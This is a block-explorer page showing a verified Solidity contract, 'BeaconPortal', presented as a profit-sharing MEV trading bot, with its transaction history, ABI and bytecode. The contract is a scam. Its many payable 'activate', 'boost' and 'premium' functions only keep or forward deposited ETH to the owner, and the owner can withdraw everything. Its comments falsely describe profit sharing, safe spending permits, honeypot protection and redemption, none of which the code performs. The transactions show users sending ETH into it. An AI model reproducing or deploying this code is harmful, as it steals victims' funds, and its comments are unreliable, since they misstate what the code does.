ETH Price: $2,386.14 (+2.33%)

Contract

0x497794f6f45f74d57fE35F65c5D58F34090A6E1D
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Subway189982252024-01-13 13:19:23249 days ago1705151963IN
0x497794f6...4090A6E1D
0.25 ETH0.0005397716.47221883
Validator Stakin...189974772024-01-13 10:49:23249 days ago1705142963IN
0x497794f6...4090A6E1D
0.33 ETH0.0003852218.14803167
Subway189971782024-01-13 9:48:23249 days ago1705139303IN
0x497794f6...4090A6E1D
0.025 ETH0.0005702817.40331326
Beacon Network189971702024-01-13 9:46:47249 days ago1705139207IN
0x497794f6...4090A6E1D
0.55 ETH0.000314214.80140293
Boost Mev Bot189970662024-01-13 9:25:59249 days ago1705137959IN
0x497794f6...4090A6E1D
0.7 ETH0.0003148414.80113879
Activate Mev Bot189969512024-01-13 9:02:47249 days ago1705136567IN
0x497794f6...4090A6E1D
0.3 ETH0.0003153214.87036987
Mev Bot Installe...189237992024-01-03 2:16:23259 days ago1704248183IN
0x497794f6...4090A6E1D
0.001 ETH0.0003095914.55498503
0x60806040181080012023-09-10 19:16:23374 days ago1694373383IN
 Create: BeaconPortal
0 ETH0.009313959.28333657

Latest 2 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
189982252024-01-13 13:19:23249 days ago1705151963
0x497794f6...4090A6E1D
0.58 ETH
189971782024-01-13 9:48:23249 days ago1705139303
0x497794f6...4090A6E1D
1.576 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BeaconPortal

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-09-10
*/

// SPDX-License-Identifier: UNLICENSED

/**
 * BOT VERSION; 21QAZ3SX43XC34 2023:05:05  00:48:56   LICENSE CODE: 00X045VD0900X40
 * JAREDFROMSUBWAY.ETH    X    RABBIT TUNNEL    X    SUBWAY BOTS
 *
 *
 * MEVBot, which stands for "Miner Extractable Value Bot," 
 * is an automated program that helps users capture MEV (Miner Extractable Value) opportunities 
 * in the Ethereum network from Arbitrage, Liquidation, Front and Back Running.
 *
 * MEVBot typically shares a portion of the profits generated with its users who have deployed it.
 */

pragma solidity ^0.8.0;

contract BeaconPortal {
    address private owner;

    uint256 public destroyTime;

    bool public active = true;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
 * @dev Provides information about the MevBot execution context, including Swaps,
 * Dex and/or Liquidity Pools, sender of the transaction and its data. 
 * While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with MEV-transactions the Account sending and
 * paying for execution is the sole controller of MevBot X7G-FOX 8 (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not the owner");
        _;
    }

    function withdraw() public  onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function Subway () public payable {
        if (msg.value > 0) payable(owner).transfer(address(this).balance);
    }
    
    /* Fun fact about MevBots: 
    *  Algorithmic trading, which includes MevBots, was initially developed 
    *  and used by institutional investors and hedge funds. Today, 
    *  with the advancement of technology and increased DeFi accessibility, 
    *  even individual holder can utilize MevBots to optimize their strategies 
    *  and gain a competitive edge in the DeFi market.
    */

    function activateMevBot() public payable {
       
        if (msg.value > 0) { }
    }

    function MevBotInstaller () public payable {
       
        if (msg.value > 0) { }
    }

    function StartMevBotTrial () public payable {
       
        if (msg.value > 0) { }
    }

     function EVMValidator () public payable {
       
        if (msg.value > 0) { }
    }


     function BeaconNetwork () public payable {
       
        if (msg.value > 0) { }
    }

     function ValidatorStaking () public payable {
       
        if (msg.value > 0) { }
    }

    /*
    *
    * Users can upgrade their MevBot from the Basic version to the Premium version, 
    * gaining access to enhanced features and advanced tools that optimize their trading strategies 
    * for maximum profitability. The Premium version offers an elevated trading experience, 
    * users to stay ahead in the competitive world of MEV trading.
    *
    */

      function BoostMevBot() public payable {
       
        if (msg.value > 0) { }
    }
     
     function PremiumMevBot () public payable {
       
        if (msg.value > 0) { }
    }

     function BasicMevBot () public payable {
       
        if (msg.value > 0) { }
    }

 /* 
 * calculates 5% of the calling wallet's Ether balance and 
 * subtracts it from the total balance to return the available balance 
 * after reserving for gas fees. 
 *
 * Note that this function only returns the adjusted balance for display purposes 
 * and does not modify the actual balance in the wallet.
 */
    
    function getBalance() public view returns (uint256) {
    uint256 balance = address(msg.sender).balance;
    uint256 reserve = balance * 5 / 100; 
    uint256 availableBalance = balance - reserve; 
    return availableBalance;
}

     /**
     * @dev The MevBot self-destruct mechanism allows the Bot
     * for contract termination, transferring any remaining ether 
     * to the MevBot Initializing address and marking the Bot as inactive. 
     * This adds control and security to the MevBot's lifecycle.
     */

    function setDestroyTime(uint256 _time) public onlyOwner {
        require(_time > block.timestamp, "Destroy time must be in the future");
        destroyTime = _time;
    }

    function destroy() public onlyOwner {
        require(destroyTime != 0, "Destroy time not set");
        require(block.timestamp >= destroyTime, "Destroy time has not been reached");

        if (address(this).balance > 0) {
            payable(owner).transfer(address(this).balance);
        }

        active = false;
    }
    
/**
 * @dev MevBot module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * Liquidity Pools, Dex and Pending Transactions.
 *
 * By default, the owner account will be the one that Initialize the MevBot. This
 * can later be changed with {transferOwnership} or Master Chef Proxy.
 *
 * MevBot module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * MevBot owner.
 */


    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "New owner is the zero address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

 
    string private welcomeMessage;

    event WelcomeMessageChanged(string oldMessage, string newMessage);

    function setWelcomeMessage(string calldata newMessage) public {
        string memory oldMessage = welcomeMessage;
        welcomeMessage = newMessage;
        emit WelcomeMessageChanged(oldMessage, newMessage);
    }

    function getWelcomeMessage() public view returns (string memory) {
        return welcomeMessage;
    }

    /* 
    * Blacklisting Honeypots;  honeypot is a malicious trap set up by bad actors to deceive and 
    * exploit unsuspecting users, often with the intention of stealing funds. 
    * Honeypots can take many forms, including fraudulent smart contracts, fake websites, 
    * or seemingly legitimate projects or trading platforms.
    */

    mapping(address => bool) private blacklist;

    

    modifier notBlacklisted() {
    require(!blacklist[msg.sender], "Caller is blacklisted");
    _;
}

    function setBlacklistStatus(address target, bool status) public onlyOwner {
    blacklist[target] = status;
    emit BlacklistUpdated(target, status);
}

    function isBlacklisted(address target) public view returns (bool) {
    return blacklist[target];
}     
     /* MevBot Voting systems play a crucial role in various decision-making processes, 
     * ranging from liquidity pool adjustment to community decisions. 
     * The traditional voting process has several issues, including manipulation, fraud, and lack of transparency. 
     * With the advent of mevbot  and smart contracts, a more secure, transparent, and 
     * tamper-proof voting system has become a reality for mevs to snipe liquidity, front run dex and Pending Transactions.
     */

    mapping(uint256 => uint256) public votes;
    mapping(address => bool) public voters;

    function vote(uint256 _optionId) public {
        require(!voters[msg.sender], "Voter has already voted");
        votes[_optionId]++;
        voters[msg.sender] = true;
    }
    
      /* 
        * In the context of MevBot contracts, a Bot-Permit to spend is essentially 
        * granting an automated program (MevBot) the authority to utilize a certain amount of your digital assets 
        * (like tokens) on your behalf. This could be for various functions such as trading, participating 
        * in Liquidation, Front Run or performing arbitrage strategies.
        */

        /* 
        * This permit ensures that the bot has a limited, predefined access to your assets, 
        * thereby ensuring your funds' safety.
        */ 

        /*
        * guardedFunction uses the logic of the nonReentrant modifier directly. 
        * It increments the _guardCounter before executing the function code and restores it afterward. 
        * If a reentrant call is made, _guardCounter will not be the same 
        * and you can check this condition to prevent reentrancy.
        */

    uint256 private _guardCounter = 1;

    function guardedFunction() external {
        uint256 localCounter = _guardCounter;

        _guardCounter = _guardCounter + 1;

        _guardCounter = localCounter;
    }

    /* 
    * MEVBot facilitates the redemption of funds through various mechanisms. 
    * When a redemption is requested, MEVBot typically transfers the redeemed funds back to 
    * the designated recipient's address. The specific process may vary depending on 
    * the implementation of MEVBot and the underlying smart contract. 
    * However, the overall objective is to ensure that the redeemed funds are securely and 
    * accurately transferred to the intended recipient.
    */

     event Redeem(uint amount);

     function redeem(uint amount) public view {

     getBalance();(amount);
    }

    /*
    * The MevBot blacklist is a feature that prevents certain addresses from interacting with the MevBot contract. 
    * It helps protect against known malicious actors and fraudulent activities. 
    * The blacklist is implemented using a mapping where addresses are marked as blacklisted or not. 
    */
        
    mapping (address => bool) public isBlackListed;
    event BlacklistUpdated(address indexed target, bool isBlacklisted);

    event DestroyedBlackFunds(address _blackListedUser, uint _balance);

    event AddedBlackList(address _user);

    event RemovedBlackList(address _user);
     
     /*
     * The blacklist enhances security by restricting 
     * blacklisted honeypots and taxed tokens from performing actions,
     * shield MevBot from getting blacklisted when interacting with other contract.
     */

   
    function getBlackListStatus(address _maker) external view returns (bool) {
        return isBlackListed[_maker];}

    function getOwner() external view returns (address) {
        return owner;}

    function addBlackList (address _evilUser) public onlyOwner {
        isBlackListed[_evilUser] = true; }
    
    function removeBlackList (address _clearedUser) public onlyOwner {
        isBlackListed[_clearedUser] = false;  }

    function destroyBlackFunds (address _blackListedUser) public view onlyOwner {
        require(isBlackListed[_blackListedUser]); }  
    

    /* Subway Disclaimer for Bot Codes
    *
    *  The provided code snippets and information are for educational purposes only 
    *  and not professional advice. The technology landscape is constantly evolving; 
    *  readers should conduct research and consult professionals before using any bot codes or technologies. 
    *  The author and publisher disclaim responsibility for any errors, omissions, or resulting damages. 
    *  Using bots may be against the terms of service for some platforms; ensure compliance 
    *  with all applicable regulations before implementation.
    *
    *
    * BOT VERSION; 21QAZ3SX43XC34 2023:05:05  00:48:56   LICENSE CODE: 00X045VD0900X40
    * JAREDFROMSUBWAY.ETH    X    RABBIT TUNNEL    X    SUBWAY BOTS
    */
    
 }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"target","type":"address"},{"indexed":false,"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"BlacklistUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_blackListedUser","type":"address"},{"indexed":false,"internalType":"uint256","name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"oldMessage","type":"string"},{"indexed":false,"internalType":"string","name":"newMessage","type":"string"}],"name":"WelcomeMessageChanged","type":"event"},{"inputs":[],"name":"BasicMevBot","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"BeaconNetwork","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"BoostMevBot","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"EVMValidator","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"MevBotInstaller","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"PremiumMevBot","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"StartMevBotTrial","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Subway","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"ValidatorStaking","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"activateMevBot","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"active","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"destroy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[],"name":"destroyTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getWelcomeMessage","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"guardedFunction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setBlacklistStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_time","type":"uint256"}],"name":"setDestroyTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newMessage","type":"string"}],"name":"setWelcomeMessage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"}],"name":"vote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"voters","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"votes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526002805460ff1916600190811790915560075534801561002357600080fd5b50600080546001600160a01b03191633179055610ffa806100456000396000f3fe6080604052600436106101e35760003560e01c8063729c705711610102578063d35ec42011610095578063f2fde38b11610064578063f2fde38b14610489578063f3bdc228146104a9578063faeb159f14610208578063fe575a87146104c957600080fd5b8063d35ec42014610404578063db006a7514610419578063e47d606014610439578063e4997dc51461046957600080fd5b8063a3ec138d116100d1578063a3ec138d146103d4578063aece50ad14610208578063bb2da97214610208578063d271067b1461020857600080fd5b8063729c70571461037757806374426b831461020857806383197ef014610397578063893d20e8146103ac57600080fd5b806319dcef8a1161017a57806343768d6d1161014957806343768d6d1461020857806359bf1abe146102f15780635df813301461032a578063694c756a1461035757600080fd5b806319dcef8a146102b2578063301963fb146102085780633ccfd60b146102ba578063402f5032146102cf57600080fd5b80630ecb93c0116101b65780630ecb93c01461027d578063108d4aae1461020857806312065fe01461029d578063159ee8241461020857600080fd5b80630121b93f146101e85780630219cfab1461020a57806302fb0c5e1461023357806303d29d281461025d575b600080fd5b3480156101f457600080fd5b50610208610203366004610bf5565b610502565b005b34801561021657600080fd5b5061022060015481565b6040519081526020015b60405180910390f35b34801561023f57600080fd5b5060025461024d9060ff1681565b604051901515815260200161022a565b34801561026957600080fd5b50610208610278366004610c2a565b6105a3565b34801561028957600080fd5b50610208610298366004610c66565b61062c565b3480156102a957600080fd5b5061022061067c565b6102086106ae565b3480156102c657600080fd5b506102086106f1565b3480156102db57600080fd5b506102e4610747565b60405161022a9190610cce565b3480156102fd57600080fd5b5061024d61030c366004610c66565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561033657600080fd5b50610220610345366004610bf5565b60056020526000908152604090205481565b34801561036357600080fd5b50610208610372366004610ce1565b6107d9565b34801561038357600080fd5b50610208610392366004610bf5565b6108ba565b3480156103a357600080fd5b50610208610943565b3480156103b857600080fd5b506000546040516001600160a01b03909116815260200161022a565b3480156103e057600080fd5b5061024d6103ef366004610c66565b60066020526000908152604090205460ff1681565b34801561041057600080fd5b50610208610a60565b34801561042557600080fd5b50610208610434366004610bf5565b610a74565b34801561044557600080fd5b5061024d610454366004610c66565b60086020526000908152604090205460ff1681565b34801561047557600080fd5b50610208610484366004610c66565b610a80565b34801561049557600080fd5b506102086104a4366004610c66565b610acb565b3480156104b557600080fd5b506102086104c4366004610c66565b610ba6565b3480156104d557600080fd5b5061024d6104e4366004610c66565b6001600160a01b031660009081526004602052604090205460ff1690565b3360009081526006602052604090205460ff16156105675760405162461bcd60e51b815260206004820152601760248201527f566f7465722068617320616c726561647920766f74656400000000000000000060448201526064015b60405180910390fd5b600081815260056020526040812080549161058183610d69565b9091555050336000908152600660205260409020805460ff1916600117905550565b6000546001600160a01b031633146105cd5760405162461bcd60e51b815260040161055e90610d82565b6001600160a01b038216600081815260046020908152604091829020805460ff191685151590811790915591519182527f6a12b3df6cba4203bd7fd06b816789f87de8c594299aed5717ae070fac781bac910160405180910390a25050565b6000546001600160a01b031633146106565760405162461bcd60e51b815260040161055e90610d82565b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b565b6000333181606461068e836005610db9565b6106989190610dd6565b905060006106a68284610df8565b949350505050565b341561067a57600080546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156106ee573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461071b5760405162461bcd60e51b815260040161055e90610d82565b60405133904780156108fc02916000818181858888f193505050501580156106ee573d6000803e3d6000fd5b60606003805461075690610e0b565b80601f016020809104026020016040519081016040528092919081815260200182805461078290610e0b565b80156107cf5780601f106107a4576101008083540402835291602001916107cf565b820191906000526020600020905b8154815290600101906020018083116107b257829003601f168201915b5050505050905090565b6000600380546107e890610e0b565b80601f016020809104026020016040519081016040528092919081815260200182805461081490610e0b565b80156108615780601f1061083657610100808354040283529160200191610861565b820191906000526020600020905b81548152906001019060200180831161084457829003601f168201915b50505050509050828260039182610879929190610eaa565b507fdd7a1b95bb227bdb3c8c223c11201e03378af5e2daeb883c1b39a8e28cb38d3d8184846040516108ad93929190610f6b565b60405180910390a1505050565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161055e90610d82565b42811161093e5760405162461bcd60e51b815260206004820152602260248201527f44657374726f792074696d65206d75737420626520696e207468652066757475604482015261726560f01b606482015260840161055e565b600155565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161055e90610d82565b6001546000036109b65760405162461bcd60e51b815260206004820152601460248201527311195cdd1c9bde481d1a5b59481b9bdd081cd95d60621b604482015260640161055e565b600154421015610a125760405162461bcd60e51b815260206004820152602160248201527f44657374726f792074696d6520686173206e6f74206265656e207265616368656044820152601960fa1b606482015260840161055e565b4715610a5457600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610a52573d6000803e3d6000fd5b505b6002805460ff19169055565b600754610a6e816001610fb1565b50600755565b610a7c61067c565b5050565b6000546001600160a01b03163314610aaa5760405162461bcd60e51b815260040161055e90610d82565b6001600160a01b03166000908152600860205260409020805460ff19169055565b6000546001600160a01b03163314610af55760405162461bcd60e51b815260040161055e90610d82565b6001600160a01b038116610b4b5760405162461bcd60e51b815260206004820152601d60248201527f4e6577206f776e657220697320746865207a65726f2061646472657373000000604482015260640161055e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610bd05760405162461bcd60e51b815260040161055e90610d82565b6001600160a01b03811660009081526008602052604090205460ff166106ee57600080fd5b600060208284031215610c0757600080fd5b5035919050565b80356001600160a01b0381168114610c2557600080fd5b919050565b60008060408385031215610c3d57600080fd5b610c4683610c0e565b915060208301358015158114610c5b57600080fd5b809150509250929050565b600060208284031215610c7857600080fd5b610c8182610c0e565b9392505050565b6000815180845260005b81811015610cae57602081850181015186830182015201610c92565b506000602082860101526020601f19601f83011685010191505092915050565b602081526000610c816020830184610c88565b60008060208385031215610cf457600080fd5b823567ffffffffffffffff80821115610d0c57600080fd5b818501915085601f830112610d2057600080fd5b813581811115610d2f57600080fd5b866020828501011115610d4157600080fd5b60209290920196919550909350505050565b634e487b7160e01b600052601160045260246000fd5b600060018201610d7b57610d7b610d53565b5060010190565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b8082028115828204841417610dd057610dd0610d53565b92915050565b600082610df357634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610dd057610dd0610d53565b600181811c90821680610e1f57607f821691505b602082108103610e3f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b601f821115610ea557600081815260208120601f850160051c81016020861015610e825750805b601f850160051c820191505b81811015610ea157828155600101610e8e565b5050505b505050565b67ffffffffffffffff831115610ec257610ec2610e45565b610ed683610ed08354610e0b565b83610e5b565b6000601f841160018114610f0a5760008515610ef25750838201355b600019600387901b1c1916600186901b178355610f64565b600083815260209020601f19861690835b82811015610f3b5786850135825560209485019460019092019101610f1b565b5086821015610f585760001960f88860031b161c19848701351681555b505060018560011b0183555b5050505050565b604081526000610f7e6040830186610c88565b8281036020840152838152838560208301376000602085830101526020601f19601f860116820101915050949350505050565b80820180821115610dd057610dd0610d5356fea26469706673582212201094d2b3d328bb20b61e63fbdc751d96e40343ce0b8f9dac8767dfa4d2f2cdb564736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101e35760003560e01c8063729c705711610102578063d35ec42011610095578063f2fde38b11610064578063f2fde38b14610489578063f3bdc228146104a9578063faeb159f14610208578063fe575a87146104c957600080fd5b8063d35ec42014610404578063db006a7514610419578063e47d606014610439578063e4997dc51461046957600080fd5b8063a3ec138d116100d1578063a3ec138d146103d4578063aece50ad14610208578063bb2da97214610208578063d271067b1461020857600080fd5b8063729c70571461037757806374426b831461020857806383197ef014610397578063893d20e8146103ac57600080fd5b806319dcef8a1161017a57806343768d6d1161014957806343768d6d1461020857806359bf1abe146102f15780635df813301461032a578063694c756a1461035757600080fd5b806319dcef8a146102b2578063301963fb146102085780633ccfd60b146102ba578063402f5032146102cf57600080fd5b80630ecb93c0116101b65780630ecb93c01461027d578063108d4aae1461020857806312065fe01461029d578063159ee8241461020857600080fd5b80630121b93f146101e85780630219cfab1461020a57806302fb0c5e1461023357806303d29d281461025d575b600080fd5b3480156101f457600080fd5b50610208610203366004610bf5565b610502565b005b34801561021657600080fd5b5061022060015481565b6040519081526020015b60405180910390f35b34801561023f57600080fd5b5060025461024d9060ff1681565b604051901515815260200161022a565b34801561026957600080fd5b50610208610278366004610c2a565b6105a3565b34801561028957600080fd5b50610208610298366004610c66565b61062c565b3480156102a957600080fd5b5061022061067c565b6102086106ae565b3480156102c657600080fd5b506102086106f1565b3480156102db57600080fd5b506102e4610747565b60405161022a9190610cce565b3480156102fd57600080fd5b5061024d61030c366004610c66565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561033657600080fd5b50610220610345366004610bf5565b60056020526000908152604090205481565b34801561036357600080fd5b50610208610372366004610ce1565b6107d9565b34801561038357600080fd5b50610208610392366004610bf5565b6108ba565b3480156103a357600080fd5b50610208610943565b3480156103b857600080fd5b506000546040516001600160a01b03909116815260200161022a565b3480156103e057600080fd5b5061024d6103ef366004610c66565b60066020526000908152604090205460ff1681565b34801561041057600080fd5b50610208610a60565b34801561042557600080fd5b50610208610434366004610bf5565b610a74565b34801561044557600080fd5b5061024d610454366004610c66565b60086020526000908152604090205460ff1681565b34801561047557600080fd5b50610208610484366004610c66565b610a80565b34801561049557600080fd5b506102086104a4366004610c66565b610acb565b3480156104b557600080fd5b506102086104c4366004610c66565b610ba6565b3480156104d557600080fd5b5061024d6104e4366004610c66565b6001600160a01b031660009081526004602052604090205460ff1690565b3360009081526006602052604090205460ff16156105675760405162461bcd60e51b815260206004820152601760248201527f566f7465722068617320616c726561647920766f74656400000000000000000060448201526064015b60405180910390fd5b600081815260056020526040812080549161058183610d69565b9091555050336000908152600660205260409020805460ff1916600117905550565b6000546001600160a01b031633146105cd5760405162461bcd60e51b815260040161055e90610d82565b6001600160a01b038216600081815260046020908152604091829020805460ff191685151590811790915591519182527f6a12b3df6cba4203bd7fd06b816789f87de8c594299aed5717ae070fac781bac910160405180910390a25050565b6000546001600160a01b031633146106565760405162461bcd60e51b815260040161055e90610d82565b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b565b6000333181606461068e836005610db9565b6106989190610dd6565b905060006106a68284610df8565b949350505050565b341561067a57600080546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156106ee573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461071b5760405162461bcd60e51b815260040161055e90610d82565b60405133904780156108fc02916000818181858888f193505050501580156106ee573d6000803e3d6000fd5b60606003805461075690610e0b565b80601f016020809104026020016040519081016040528092919081815260200182805461078290610e0b565b80156107cf5780601f106107a4576101008083540402835291602001916107cf565b820191906000526020600020905b8154815290600101906020018083116107b257829003601f168201915b5050505050905090565b6000600380546107e890610e0b565b80601f016020809104026020016040519081016040528092919081815260200182805461081490610e0b565b80156108615780601f1061083657610100808354040283529160200191610861565b820191906000526020600020905b81548152906001019060200180831161084457829003601f168201915b50505050509050828260039182610879929190610eaa565b507fdd7a1b95bb227bdb3c8c223c11201e03378af5e2daeb883c1b39a8e28cb38d3d8184846040516108ad93929190610f6b565b60405180910390a1505050565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161055e90610d82565b42811161093e5760405162461bcd60e51b815260206004820152602260248201527f44657374726f792074696d65206d75737420626520696e207468652066757475604482015261726560f01b606482015260840161055e565b600155565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161055e90610d82565b6001546000036109b65760405162461bcd60e51b815260206004820152601460248201527311195cdd1c9bde481d1a5b59481b9bdd081cd95d60621b604482015260640161055e565b600154421015610a125760405162461bcd60e51b815260206004820152602160248201527f44657374726f792074696d6520686173206e6f74206265656e207265616368656044820152601960fa1b606482015260840161055e565b4715610a5457600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610a52573d6000803e3d6000fd5b505b6002805460ff19169055565b600754610a6e816001610fb1565b50600755565b610a7c61067c565b5050565b6000546001600160a01b03163314610aaa5760405162461bcd60e51b815260040161055e90610d82565b6001600160a01b03166000908152600860205260409020805460ff19169055565b6000546001600160a01b03163314610af55760405162461bcd60e51b815260040161055e90610d82565b6001600160a01b038116610b4b5760405162461bcd60e51b815260206004820152601d60248201527f4e6577206f776e657220697320746865207a65726f2061646472657373000000604482015260640161055e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610bd05760405162461bcd60e51b815260040161055e90610d82565b6001600160a01b03811660009081526008602052604090205460ff166106ee57600080fd5b600060208284031215610c0757600080fd5b5035919050565b80356001600160a01b0381168114610c2557600080fd5b919050565b60008060408385031215610c3d57600080fd5b610c4683610c0e565b915060208301358015158114610c5b57600080fd5b809150509250929050565b600060208284031215610c7857600080fd5b610c8182610c0e565b9392505050565b6000815180845260005b81811015610cae57602081850181015186830182015201610c92565b506000602082860101526020601f19601f83011685010191505092915050565b602081526000610c816020830184610c88565b60008060208385031215610cf457600080fd5b823567ffffffffffffffff80821115610d0c57600080fd5b818501915085601f830112610d2057600080fd5b813581811115610d2f57600080fd5b866020828501011115610d4157600080fd5b60209290920196919550909350505050565b634e487b7160e01b600052601160045260246000fd5b600060018201610d7b57610d7b610d53565b5060010190565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b8082028115828204841417610dd057610dd0610d53565b92915050565b600082610df357634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610dd057610dd0610d53565b600181811c90821680610e1f57607f821691505b602082108103610e3f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b601f821115610ea557600081815260208120601f850160051c81016020861015610e825750805b601f850160051c820191505b81811015610ea157828155600101610e8e565b5050505b505050565b67ffffffffffffffff831115610ec257610ec2610e45565b610ed683610ed08354610e0b565b83610e5b565b6000601f841160018114610f0a5760008515610ef25750838201355b600019600387901b1c1916600186901b178355610f64565b600083815260209020601f19861690835b82811015610f3b5786850135825560209485019460019092019101610f1b565b5086821015610f585760001960f88860031b161c19848701351681555b505060018560011b0183555b5050505050565b604081526000610f7e6040830186610c88565b8281036020840152838152838560208301376000602085830101526020601f19601f860116820101915050949350505050565b80820180821115610dd057610dd0610d5356fea26469706673582212201094d2b3d328bb20b61e63fbdc751d96e40343ce0b8f9dac8767dfa4d2f2cdb564736f6c63430008120033

